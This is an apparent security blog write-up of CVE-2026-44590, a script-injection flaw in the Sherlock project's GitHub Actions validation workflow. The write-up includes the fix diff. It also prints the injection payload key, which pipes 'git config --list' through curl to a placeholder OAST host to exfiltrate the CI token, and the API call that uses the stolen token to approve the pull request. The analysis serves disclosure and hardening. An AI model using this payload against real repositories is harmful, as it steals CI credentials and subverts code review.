//nefariousplan

CVE-2026-44590: Sherlock's validate_modified_targets Validated The Targets By Running Them

vendor

patterns

cve

proof of concept

Sherlock is the OSINT username-search CLI in sherlock-project/sherlock. It ships in Kali Linux's kali-tools-osint metapackage and is the username-enumeration tool most investigators reach for first. The CVE is in its CI. validate_modified_targets.yml runs pytest against new entries in sherlock_project/resources/data.json to validate them. The entries are dictionary keys. The contributor of the pull request names them. The contributor of the pull request is anyone with a GitHub account. By the time the workflow finished, github-actions[bot] had approved a pull request that had been github-actions[bot] for roughly a minute.

The workflow validated the targets by running them

.github/workflows/validate_modified_targets.yml triggers on pull_request_target, scoped to one path:

on:
  pull_request_target:
    branches:
      - master
    paths:
      - "sherlock_project/resources/data.json"

The workflow's documented purpose is to verify that new entries submitted in data.json return the status codes the contributor declared for the test username. The verification is pytest, invoked with the changed keys as arguments. "Validation" here is execution.

The first relevant step extracts the changed keys:

- name: Discover modified targets
  id: discover-modified
  run: |
    CHANGED=$(
      python - <<'EOF'
    import json
    with open("data.json.base") as f: base = json.load(f)
    with open("data.json.head") as f: head = json.load(f)
    changed = []
    for k, v in head.items():
        if k not in base or base[k] != v:
            changed.append(k)
    print(",".join(sorted(changed)))
    EOF
    )
    echo "changed_targets=$CHANGED" >> "$GITHUB_OUTPUT"

changed_targets is the comma-joined list of keys the PR added or modified in data.json. The keys are arbitrary strings. Nothing in the workflow validates their characters. Nothing in the PR review process validates their characters. They are dictionary keys.

The next step passes that list to pytest:

- name: Validate modified targets
  if: steps.discover-modified.outputs.changed_targets != ''
  continue-on-error: true
  run: |
    poetry run pytest -q --tb no -rA -m validate_targets -n 20 \
      --chunked-sites "${{ steps.discover-modified.outputs.changed_targets }}" \
      --junitxml=validation_results.xml

${{ steps.discover-modified.outputs.changed_targets }} is GitHub Actions template syntax. The runner evaluates the expression and substitutes the result into the run: block before the shell sees the YAML. The shell never sees ${{ ... }}. The shell sees whatever string the template evaluated to, pasted into the text of its command line.

The injection lived in --chunked-sites

The PoC's payload is a single key added to data.json. The key:

TestSite"; git config --list | curl -s -X POST -d @- https://<oast>/gitconfig; sleep 180; echo "

The contributor's value for that key is a minimal valid site entry (errorType, url, urlMain, username_claimed). The key alone is the exploit.

After discover-modified runs, changed_targets is the string above. After GitHub Actions templates ${{ steps.discover-modified.outputs.changed_targets }} into the run: block, the shell receives:

poetry run pytest -q --tb no -rA -m validate_targets -n 20 \
  --chunked-sites "TestSite"; git config --list | curl -s -X POST -d @- https://<oast>/gitconfig; sleep 180; echo "" \
  --junitxml=validation_results.xml

The "TestSite" closes the --chunked-sites value. The ; separates statements. git config --list | curl becomes its own command. sleep 180 holds the workflow open. The trailing echo "" reopens the quote so the surrounding text stays a valid shell command.

actions/checkout@v5's default is persist-credentials: true, which writes the runner's GITHUB_TOKEN into .git/config under http.https://github.com/.extraheader=AUTHORIZATION: basic <base64>. git config --list dumps that line as part of its output. The runner ships the token to the attacker's OAST endpoint, and the workflow then sleeps for three minutes to keep itself alive long enough for the next step.

The PoC reads the OAST log, extracts the base64 blob with a regex, decodes it back to a ghs_... token, and immediately calls:

POST /repos/<fork-owner>/sherlock/pulls/<n>/reviews
Authorization: token ghs_...
Accept: application/vnd.github+json

{"event":"APPROVE","body":"All checks passed. LGTM!"}

The review is recorded against github-actions[bot]. The same identity the workflow runs as. The same identity whose token just authorized the call.

The fix is three lines. Two of them are admissions.

Siddharth Dushantha's commit 6eaec5cc, May 2, 2026:

       - name: Checkout repository
         uses: actions/checkout@v5
         with:
           # Checkout the base branch but fetch all history to avoid a second fetch call
           ref: ${{ github.base_ref }}
           fetch-depth: 0
+          persist-credentials: false

       - name: Validate modified targets
-        if: steps.discover-modified.outputs.changed_targets != ''
-        continue-on-error: true
+        env:
+          CHANGED_TARGETS: ${{ steps.discover-modified.outputs.changed_targets }}
         run: |
           poetry run pytest -q --tb no -rA -m validate_targets -n 20 \
-            --chunked-sites "${{ steps.discover-modified.outputs.changed_targets }}" \
+            --chunked-sites "$CHANGED_TARGETS" \
             --junitxml=validation_results.xml

The env: block is the actual fix. CHANGED_TARGETS is bound to the template expression once, at step launch. The shell then reads "$CHANGED_TARGETS" under bash's quoting rules, which treat the value as one parameter regardless of what bytes it contains. The injection grammar (a ", a ;, a follow-on command) never reaches the shell as syntax. It reaches the shell as the contents of a string argument.

persist-credentials: false is the second admission. The default actions/checkout behavior writes the GITHUB_TOKEN into .git/config, and the PoC's exfiltration depends on git config --list finding it there. The fix removes the token from the file even if the shell injection survives. The exfil path closes at the source as well as at the shell.

The if: and continue-on-error: true deletions are surrounding hygiene. They were not the bug; they were the residue of a workflow nobody had read in this register.

The two real changes correspond, line for line, to GitHub Actions' own security-hardening guide. That page names the threat as "script injection" and prescribes two mitigations: pass GitHub context values through environment variables, and set persist-credentials: false on checkouts that do not need the credential downstream. The page predates validate_modified_targets.yml's first commit. The workflow had been operating against both prescriptions for as long as it had existed.

github-actions[bot] approved a pull request that had been github-actions[bot] for roughly a minute

The PoC's logged sequence on a vulnerable fork:

10:55:00 [+] Injected payload key into sherlock_project/resources/data.json
10:55:04 [+] PR opened
10:55:10 [+] Workflow run found
10:55:55 [+] Token captured: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:56 [+] PR approved by github-actions[bot]: state=APPROVED

Fifty-six seconds, payload to approval. Forty-five of those seconds are pytest setup and the runner reaching the injected git config --list | curl line. One second is the API call. The bot's authority over the repository was the attacker's authority over the repository for that entire window. Inside the window, the bot's authority used itself to approve the PR.

The PoC documents needing to enable "Allow GitHub Actions to create and approve pull request reviews" on the test fork to reproduce this last step. sherlock-project/sherlock had the setting enabled at the time of disclosure. The setting is documented; it exists so CI bots can approve PRs from other CI bots in a controlled flow. It was enabled on sherlock because, at some point, an automation needed it. The setting did exactly what its documentation said it would do.

Branch-protection-rule reasoning is configuration-specific past this point. Whether the bot's approval counted toward the required-review count on master, whether the PR was auto-mergeable, whether the runner could push directly via the same exfiltrated token without going through review at all, depends on a list of GitHub repository settings the PoC does not enumerate. The PoC stops at "approved." The token captured at 10:55:55 is, until the workflow ends, indistinguishable in the GitHub API from the credential release.yml would use to push a tag, dispatch a workflow, comment on every open issue, or commit directly to any branch the bot's scopes reach.

This is the canonical Pwn Request, and it keeps shipping

pull_request_target was introduced in August 2020. Its documentation, on the same page that defines it, contains a warning that the trigger is granted a read/write repository token with access to secrets even when fired from a fork, and that "you should make sure that you do not check out, build, or run untrusted code from the pull request with this event."

This is trust-inversion at the layer of CI triggers. The trust artifact is the GITHUB_TOKEN issued to github-actions[bot] for pull_request_target events, scoped against the base repository. The runner mints it correctly, to the correct workflow, on the correctly authenticated event. The inversion is that the workflow's run: block uses content from the PR to construct the shell command the runner executes, so the bot's authority becomes the contributor's authority for the duration of the step. The validation on the distrusted lane (the PR review) was never the gate, because the trusted lane (the bot's own runner) was already executing the PR's content.

The catalog has catalogued this shape before. TanStack was pull_request_target writing into a GitHub Actions cache that release.yml later restored, with the trusted-publisher OIDC token as the eventual blast surface. Postiz was pull_request_target building a Dockerfile the fork submitter authored, with the runner's .git/config token in the build context. tj-actions was a different layer, mutable tags, with the same blast pattern through the GitHub Actions runner identity. The class has a name (Pwn Request), a CodeQL rule, a dedicated section in GitHub's own hardening guide, and at least five years of public examples.

This is also content-is-command at the smallest CI primitive. The content channel is a dictionary key in data.json that a PR contributor adds. The interpreter is /bin/sh -c, which the runner uses for every run: block. The bridge is the YAML-level expansion of ${{ ... }} into the run: block's text, which happens before the shell sees the command line. The shell receives the expansion as if the author of the workflow had typed it directly. The author of the workflow, at expansion time, is whoever opened the pull request.

validate_modified_targets.yml had fifteen commits before the fix. The messages: ci: fix the thing. fix(ci): scoping. fix(ci): issue write permission. fix(validation ci): parsing and presentation. Implement secure diff logic per feedback. Use merge-base for correct target validation. The workflow went through review. The reviewers were thinking about merge-base correctness, JSON schema validation, write permissions, and changelist parsing. None of those reviews caught that ${{ steps.discover-modified.outputs.changed_targets }} inside a run: block was the textbook script-injection sink the hardening guide opens with.

PoC: Astaruf/CVE-2026-44590

validate_modified_targets did its job. The job was the bug.